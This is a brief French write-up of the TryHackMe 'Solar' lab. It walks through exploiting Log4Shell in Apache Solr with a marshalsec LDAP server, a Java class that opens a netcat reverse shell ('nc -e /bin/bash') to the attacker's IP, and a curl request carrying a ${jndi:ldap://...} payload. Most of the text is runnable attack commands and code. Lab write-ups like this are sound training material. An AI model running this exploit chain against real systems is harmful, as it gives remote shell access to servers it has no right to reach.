Solar by david-pellissier
2021-12-15(1 min. read) -
misc Writeup de la room "Solar"
Lien: https://tryhackme.com/room/solar
Docker: sudo docker run -it --name "Kali" -p 1234:1234 -p 8000:8000 -p 1389:1389 kalilinux/kali /bin/bash
Installer toutes les dépendances:
cd home
apt update
apt install -y netcat-traditional python3 curl wget git maven nano vim
wget https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u312-b07/OpenJDK8U-jdk_x64_linux_hotspot_8u312b07.tar.gz
tar xzf OpenJDK8U-jdk_x64_linux_hotspot_8u312b07.tar.gz
echo 'export PATH=$PWD/jdk8u312-b07/bin:$PATH' >> .bashrc
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Lancer le serveur LDAP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.9.77.76:8000/#Exploit
Créer le reverse shell
cd ~
mkdir exploit
cd exploit
nano Exploit.java javac Exploit.java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.9.77.76 1234");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Lancer le serveur python
python3 -m http.server
Ouvrir la connexion du reverse shell:
nc -lnvp 1234
Exécuter:
curl 'http://10.10.91.84:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.77.76:1389/Exploit\}'
Résultat: on a un shell
À noter qu'il n'y a pas de "décoration" du shell au départ, mais qu'on peut quand même exécuter des commandes.
Pour rendre "user-friendly" le shell on peut lancer cette commande:
python3 -c "import pty; pty.spawn('/bin/bash')"